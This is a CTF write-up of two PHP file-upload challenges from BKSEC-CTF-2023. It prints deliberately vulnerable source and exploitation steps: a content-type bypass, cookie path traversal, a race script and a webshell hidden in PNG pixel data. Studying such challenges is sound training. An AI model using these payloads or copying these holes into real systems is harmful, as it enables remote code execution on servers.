## [Write Up BKSEC-CTF-2023](https://) ## 1. [Metadata checker](https://) - This is whitebox challenge, you can view source below: ``` if (isset($_FILES) && !empty($_FILES)) { $uploadpath = "/var/tmp/"; $error = ""; $timestamp = time(); $userValue = $_COOKIE['user']; $target_file = $uploadpath . $userValue . "_" . $timestamp . "_" . $_FILES["image"]["name"]; move_uploaded_file($_FILES["image"]["tmp_name"], $target_file); if ($_FILES["image"]["size"] > 1048576) { $error .= '<p class="h5 text-danger">Maximum file size is 1MB.</p>'; } elseif ($_FILES["image"]["type"] !== "image/jpeg") { $error .= '<p class="h5 text-danger">Only JPG files are allowed.</p>'; } else { $exif = exif_read_data($target_file, 0, true); if ($exif === false) { $error .= '<p class="h5 text-danger">No metadata found.</p>'; } else { $metadata = '<table class="table table-striped">'; foreach ($exif as $key => $section) { $metadata .= '<thead><tr><th colspan="2" class="text-center">' . $key . "</th></tr></thead><tbody>"; foreach ($section as $name => $value) { $metadata .= "<tr><td>" . $name . "</td><td>" . $value . "</td></tr>"; } $metadata .= "</tbody>"; } $metadata .= "</table>"; } } } ?> ``` ``` <?php // I want to show a loading effect within 1.5s here but don't know how sleep(1.5); // This might be okay..... I think so // My teammates will help me fix it later, I hope they don't forget that echo $error; echo $metadata; unlink($target_file); ?> ``` - You can see this challenge about upload file ### Flow : - Check if exist $_FILE initialization $uploadpath = "/var/tmp/"; - Get cookie "user" to set name $target_file. - move_uploaded_file to $target_file - Maximum file size is 1MB and Only JPG files are allowed. - Read metadata this file to show information about it. - unlink($target_file); after 1.5s. ### Handle : - It seems like this is a challenge to pass the file type check so we will change the ContentType of the file to pass this filter and to upload a php file. - But one more problem here is that the php file will not be processed by the server because its location is in /var/tmp/ and observe here we can control the "user" cookie in $target_file, you can see: ``` $target_file = $uploadpath . $userValue . "_" . $timestamp . "_" . $_FILES["image"]["name"]; ``` - So I will use pathtraversal technique to move my php file to /var/www/html/ so that my php file can be run. - Our final problem here is that this file will be deleted after 1.5 seconds of being sent to the server, so we need to race to get the data in that time. ### Deployment : - Flag in question in /flag.txt - I touch a file php basic ``` <?php echo system('cat /flag.txt');?> ``` - Control $target_file: ``` $target_file = $uploadpath . $userValue . "_" . $timestamp . "_" . $_FILES["image"]["name"]; ``` - I change $_COOKIE['user'] to "../../../../../../var/html/" - In example file name is l3m.php. - $target_file this will be worth it /var/tmp/../../../../../../var/html/_(current_time)_l3m.php. - I touch POC by python to Race with Burp Intruder to to continuously upload files to the server - **POC**: ``` import requests import time url = "http://18.141.143.171:30149/" while True: file_name = "_" + str(int(time.time())) + "_l3m.php" res = requests.get(url + file_name) print(res.text) ``` ## 2. [Image Copy resample](https://) - This is whitebox challenge, you can view source below: ``` <?php if(isset($_FILES['image'])){ $upload_dir = "./uploads/"; $file_name = $_FILES['image']['name']; $file_tmp = $_FILES['image']['tmp_name']; $file_type = $_FILES['image']['type']; $file_ext = strtolower(pathinfo($file_name, PATHINFO_EXTENSION)); $size_check = getimagesize($file_tmp); $allowed_ext = array('jpg', 'png', 'php'); if(in_array($file_ext, $allowed_ext)){ $image = imagecreatefromstring(file_get_contents($file_tmp)); $cropped_image = imagecreatetruecolor(40, 40); imagecopyresampled($cropped_image, $image, 0, 0, 0, 0, 40, 40, imagesx($image), imagesy($image)); $random_name = md5(uniqid(rand(), true)); $new_file_name = $random_name . '.' . $file_ext; if ($file_ext === 'jpg' || $file_ext === 'png' ) { //check size if ($size_check[0] < 40 || $size_check[1] < 40) { echo "Ảnh của bạn hơi nhỏ. Chúng tôi cần ảnh lớn hơn 40x40 pixels\n<br>"; } else { if($file_ext === 'jpg'){ imagejpeg($cropped_image, $upload_dir . $new_file_name); } else { imagepng($cropped_image, $upload_dir . $new_file_name); } echo "ảnh đã được lưu tại đây\n<br>"; echo $upload_dir; echo $new_file_name; imagedestroy($image); imagedestroy($cropped_image); } } else { imagepng($cropped_image, $upload_dir . $new_file_name); echo "ảnh đã được lưu tại đây\n<br>"; echo $upload_dir; echo $new_file_name; imagedestroy($image); imagedestroy($cropped_image); } } else { echo "Chỉ cho phép tải lên tệp JPG hoặc PNG và pHp ;D ? ? ?"; } } ?> <!-- HTML Form để tải lên tệp --> <h3>upload file ảnh miễn phí nhưng tôi sẽ nén chất lượng của bạn xuống 40px</h3> <form action="" method="POST" enctype="multipart/form-data"> <input type="file" name="image"> <input type="submit" value="Tải Lên"> </form> ``` - Alow upload php extendtion, jpg and png we chose php :< - Regarding the simple functional diagram, upload the file and re-edit the uploaded image with a size of 40px. ![image](https://hackmd.io/_uploads/Byf8KJ_sp.png) - There are functions like imagecreatefromstring or imagecopyresampled which are quite strange. - how could I upload the file (containing the shell) and still see it through the other functions. - You have 2 or more ways to solve this problem Tool : [IDAT](https://github.com/huntergregal/PNG-IDAT-Payload-Generator) or ``` <?php header('Content-Type: image/png'); $p = array(0xA3, 0x9F, 0x67, 0xF7, 0x0E, 0x93, 0x1B, 0x23, 0xBE, 0x2C, 0x8A, 0xD0, 0x80, 0xF9, 0xE1, 0xAE, 0x22, 0xF6, 0xD9, 0x43, 0x5D, 0xFB, 0xAE, 0xCC, 0x5A, 0x01, 0xDC, 0xAA, 0x52, 0xD0, 0xB6, 0xEE, 0xBB, 0x3A, 0xCF, 0x93, 0xCE, 0xD2, 0x88, 0xFC, 0x69, 0xD0, 0x2B, 0xB9, 0xB0, 0xFB, 0xBB, 0x79, 0xFC, 0xED, 0x22, 0x38, 0x49, 0xD3, 0x51, 0xB7, 0x3F, 0x02, 0xC2, 0x20, 0xD8, 0xD9, 0x3C, 0x67, 0xF4, 0x50, 0x67, 0xF4, 0x50, 0xA3, 0x9F, 0x67, 0xA5, 0xBE, 0x5F, 0x76, 0x74, 0x5A, 0x4C, 0xA1, 0x3F, 0x7A, 0xBF, 0x30, 0x6B, 0x88, 0x2D, 0x60, 0x65, 0x7D, 0x52, 0x9D, 0xAD, 0x88, 0xA1, 0x66, 0x94, 0xA1, 0x27, 0x56, 0xEC, 0xFE, 0xAF, 0x57, 0x57, 0xEB, 0x2E, 0x20, 0xA3, 0xAE, 0x58, 0x80, 0xA7, 0x0C, 0x10, 0x55, 0xCF, 0x09, 0x5C, 0x10, 0x40, 0x8A, 0xB9, 0x39, 0xB3, 0xC8, 0xCD, 0x64, 0x45, 0x3C, 0x49, 0x3E, 0xAD, 0x3F, 0x33, 0x56, 0x1F, 0x19 ); $img = imagecreatetruecolor(110, 110); for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3)*2, 0, $color); imagesetpixel($img, round($y / 3)*2+1, 0, $color); imagesetpixel($img, round($y / 3)*2, 1, $color); imagesetpixel($img, round($y / 3)*2+1, 1, $color); } imagepng($img); ?> ``` ![image](https://hackmd.io/_uploads/rk-ki1OsT.png) ![image](https://hackmd.io/_uploads/SyDlj1usT.png)